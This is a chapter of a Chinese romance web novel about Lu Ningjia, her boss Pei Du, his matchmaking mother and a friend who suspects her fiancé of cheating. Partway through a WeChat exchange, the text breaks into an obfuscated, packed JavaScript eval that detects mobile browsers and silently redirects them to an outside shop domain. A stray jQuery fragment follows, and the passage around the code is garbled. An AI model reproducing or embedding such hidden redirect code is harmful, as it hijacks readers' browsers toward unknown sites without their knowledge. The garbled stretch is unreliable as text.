裴渡回到家时,一楼客厅的灯还亮着。
玄关感应灯亮起,何曼青闻声从沙发上抬起头,放下了手里的遥控器。
“怎么这么晚才回来?吃饭了吗?”她起身,朝着餐厅走去,“杨妈在厨房里给你留了汤。”
“公司有点事,”裴渡换下鞋,声音里带着疲惫,“我吃过了。”
他解开衬衫最上面的两颗扣子,在母亲对面的沙发坐下,身子陷进柔软的靠垫里。
何曼青端着杯温水走回来,递给他,顺势在他身边坐下。
“工作压力很大?”她担忧地问,“之前你在英国的时候都没这么辛苦过,不行的话要不跟小顾说算了吧?”
“还好。”裴渡接过水杯,指腹摩挲着温热的杯壁。
何曼青叹了口气,“你就是这样,什么事都自己扛着。”
她话锋一转,试探地提起:“宁嘉感冒好些了吗?”
“不知道。”裴渡说。
“你昨天说给她买药,亏我还以为你开窍了!”
何曼青语气里带着几分责备,“你怎么不关心一下人家?就算不是下属,也是朋友啊。”
裴渡喝水的动作顿住,眉心微不可察地蹙了一下。“作为上司,我给她买药已经仁至义尽了,其余的就不合适了。”他解释道,语气平淡,听不出情绪。
“什么叫仁至义尽啊?你对下属可以这样,但嘉嘉又不光是你的下属。
”何曼青语重心长地开始劝道:“嘉嘉这个女孩子我很喜欢,我每次都在你吴阿姨面前夸你那么多是为了什么啊?还不是让人家对你印象好一点啊。”
裴渡太阳穴突突地跳。
他放下水杯,抬眼看着自己母亲,语气里终于透出些无奈:“妈,你别掺和我的事。”
“我怎么是掺和呢?”何曼青不乐意了,拍了下他的手臂,“我是帮你!你都快三十了,连个女朋友都没有。宁嘉那孩子多好啊,从小看着长大的,知根知底。”
裴渡只觉得一阵头痛。
他靠在沙发上,闭上眼,揉着眉心,“我跟她不可能。”
他的声音很轻,但异常清晰。
“怎么就不可能了?”何曼青不解。
裴渡睁开眼,目光落在客厅那盏幽静的落地灯上,光线柔和,却驱不散他心里的烦躁。
乱七八糟,毫无章法,像一团缠在一起的耳机线。
他收回视线,看着自己的母亲,一字一句,说得无比认真:“我现在没有谈恋爱的打算,即便有,也不会跟路宁嘉。”
何曼青问:“为什么?”
"没有为什么,只是因为我不喜欢她。"
*
那顿饭最后是怎么结束的,路宁嘉已经记不清了。
她只记得易橙后面说的每一句话,都像是在给她那套“裴渡暗恋论”添砖加瓦,而她连反驳的力气都没有。
——“他为什么不把情书给宋航,而是交给你妈妈?”
——“一个男生,为什么要杜绝你和其他人谈恋爱的可能?”
回家的路上,车窗外的霓虹光怪陆离,在她脸上投下明明灭灭的光影,路宁嘉握着方向盘的手指关节泛白,脑子里乱成一锅煮沸的粥。
路宁嘉猛地踩下刹车,车子在路口稳稳停住。红灯的倒计时在眼前跳动,她却感觉自己的心跳比那数字还要快。
她一直以为裴渡是看不惯她,是嫉妒她家境好,是单纯地想跟她作对。可如果换个角度……如果这一切的起点,都不是讨厌呢?
想通之后,路宁嘉居然有一种控制不住的,难以言喻的——
狂喜!
裴渡啊裴渡!
你现在居然也有让我拿捏住的一天!
*
这一夜,路宁嘉失眠了。
第二天到公司,她顶着两只硕大的黑眼圈,精神萎靡,想着赶紧把昨天没解决的柜子颜色问题搞定。
司佳南来的时候,就看见路宁嘉对着电脑屏幕发呆,屏幕上是那个嵌入式柜子的模型,墙面颜色换了十几种,从米白到浅灰,没有一个看起来是和谐的。
“怎么了这是?被吸干精气了?”司佳南把一杯热豆浆放在她桌上。
“想了一晚上配色,没睡好。”路宁嘉含糊地解释,接过豆浆喝了一口,温热的液体顺着食道滑下,却没能让她紧绷的神经放松分毫。
办公室的人陆陆续续地来了。每当门口有脚步声响起,路宁嘉的背脊就控制不住地僵直。
直到那道熟悉的身影出现在部门入口。
裴渡今天穿了件深灰色的高领毛衣,外面套着黑色的风衣,身形挺拔,步履从容。他目不斜视地从她工位旁走过,空气里只留下淡淡的、干净的木质香。
他甚至没有看她一眼。
“你笑什么?”司佳南盯着路宁嘉的脸,疑惑道。
路宁嘉下意识地摸了摸自己的脸,反问:“我哪有笑?”
“怎么没有?”司佳南把自己的化妆镜直接放在路宁嘉面前,“刚刚裴总从你身边过去的时候,你脸上就突然浮现出这种带一点荡漾的笑容!”
“......”
她觉得自己一定是疯了。
镜子里的她,嘴角竟然真的挂着一抹似有若无的笑,而这个笑还是她经过司佳南的提醒之后,刻意收敛过的。
“我知道了!”司佳南恍然大悟。
路宁嘉不解:“什么?”
司佳南凑近,几乎是用气声问她:“你是不是又想到什么整裴总的招了?”
“......”路宁嘉说:“其实,我和他的关系也没有那么糟糕啦。”
“?”
司佳南皱眉,一边摇头一边往后退:“你不对劲,不对劲不对劲......”
“画图!”路宁嘉打断她。
路宁嘉重新将精力放进设计里,一个一个重试。
临近午休,裴渡拿着一份文件从办公室里走了出来,径直朝着她的方向。
路宁嘉的心跳骤然漏了一拍,她下意识地抓起桌上的水杯喝水,眼角的余光却死死锁定着那个越来越近的身影。
“柜子的颜色还没定下来?”清冷的嗓音在头顶响起。
路宁嘉被吓得呛了一下,猛烈地咳嗽起来,脸涨得通红。
“咳……咳咳……”
一只骨节分明的手伸了过来,递给她一张纸巾。
裴渡的眉头微不可察地蹙了一下,“你在工作吗?我说一句话能吓成这样?喝水还能呛到?”
他的语气听起来和平时没什么两样,公事公办,甚至还带了点不耐烦。
路宁嘉接过纸巾,胡乱擦了擦嘴,狼狈地抬起头,“当然在工作了!谁叫你突然出声的!”
“嗯,”裴渡点了点头,视线重新落回她的电脑屏幕上,指着那面突兀的墙,“这面墙,不用刷漆。”
“啊?”路宁嘉的思绪还停留在刚刚,一时没反应过来。
“用木饰面,”裴渡的声音听不出波澜,像是在陈述一件再简单不过的事实,“用和柜体同色系的浅色木饰面,做成格栅样式,既能统一色调,又能增加墙面肌理,削弱柜子的厚重感。”
他三言两语,就解开了困扰了她很久的难题。
路宁嘉怔怔地看着他,脑子里只剩下一片嗡鸣。
“就这么定了,再不定下来就来不及了。”裴渡丢下这句话,没再看她一眼,转身回了自己的办公室。
电脑上微信的图标在闪烁。
路宁嘉盯着闪动的图标看了好一会儿,才点开。
【易橙】:今天上班怎么样?
【易橙】:有没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767709|209784||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
跟裴渡说话?
盯着这两句话,路宁嘉都能看见屏幕后面,易橙那张“小人得志”的脸。
路宁嘉回复她。
【路宁嘉】:实在是闲得慌就去吵贺行肖!
回复完这句话,路宁嘉的视线不自觉地飘到了裴渡办公室的方向。
思绪也不受控制地开始发散,他刚刚过来说了什么来着?
好像就说了一句话就走了。
他走出来就为了跟我说一句话?
“想什么呢?”
司佳南猛地拍了一下路宁嘉的肩膀,路宁嘉被吓得心脏都快跳出来。
路宁嘉惊魂未定:“什么事?”
司佳南也疑惑:“裴总刚刚不是说用木饰面吗?听不听他的啊?如果听他的,那我们不是要安排材料了吗?”
“听吧。”路宁嘉依旧没反应过来。
“听就听,不听就不听,听吧是什么意思?”司佳南几乎没见过这样犹豫的她。
“听!反正他也不会害我!”
路宁嘉突然站起来,看见司佳南打量的眼神,又默默地补充:“们。”
说完,路宁嘉竟然又默默地坐下去,很迅速地按照裴渡说的内容改好了自己的设计,并传给了司佳南。
司佳南去落实后续的内容,路宁嘉反而闲下来了。
她又点开跟易橙的对话框。
对方在没有得到她回复的情况下,居然还发来了十几条消息——
【易橙】:快别提他了!
【易橙】:我都要气死了!
【易橙】:上次光顾着说你跟裴渡的事情了
【易橙】:我都忘记了
【易橙】:我本来是要跟你说贺行肖的呀!
【易橙】:他不是在做一个直播平台吗?
【易橙】:我以为他就是投资
【易橙】:没想到他居然还参与运营
【易橙】:更没想到,他自己也会在平台上看女主播!
【易橙】:看就算了!
【易橙】:他居然还会充钱给人家打赏!
【易橙】:马上要订婚了,闹出这种丑事,你说我该怎么办?
路宁嘉一条一条看下来,然后问她——
【路宁嘉】:他打赏了多少钱啊?
【路宁嘉】:什么样的主播?
消息发出去还不到三秒,易橙的语音电话就直接打过来了。
路宁嘉起身去茶水间,接通了电话:“你说。”
易橙的声音并没有她想象中的那么激动:“钱倒是没多少钱,但这都不是重点!”
“......”
路宁嘉想笑,反问:“那重点是什么?”
“重点是,那个女主播不是他平台的签约主播,平时直播时间也不固定,我好几次想蹲她直播都没蹲到,而且她几乎没有什么粉丝,不是那种吃恋爱票的女主播。”
“所以?”路宁嘉不解。
易橙感叹她的榆木脑袋,都这么明白了路宁嘉居然还没懂。
易橙说:“说明她很有可能就是贺行肖的小三!”
“这件事你问过贺行肖没有?”路宁嘉问。
易橙否认:“我还没敢,我害怕。”
路宁嘉立刻就明白了她在害怕什么。
她跟贺行肖恋爱这么多年,眼看就要订婚了,如果他真的出轨了,易橙不一定能承受得住。
路宁嘉安慰她:“你也别想太多了,你都没看过她直播,搞不好是个男主播呢。”
这段话完全没有起到安慰的作用,反而激起易橙的逆反心理:“不可能,我把她主页截图给你看,绝对是女生!”
下一秒,路宁嘉就收到了易橙发来的截图——
一个默认的星球图像,下面赫然写着她的昵称:小为。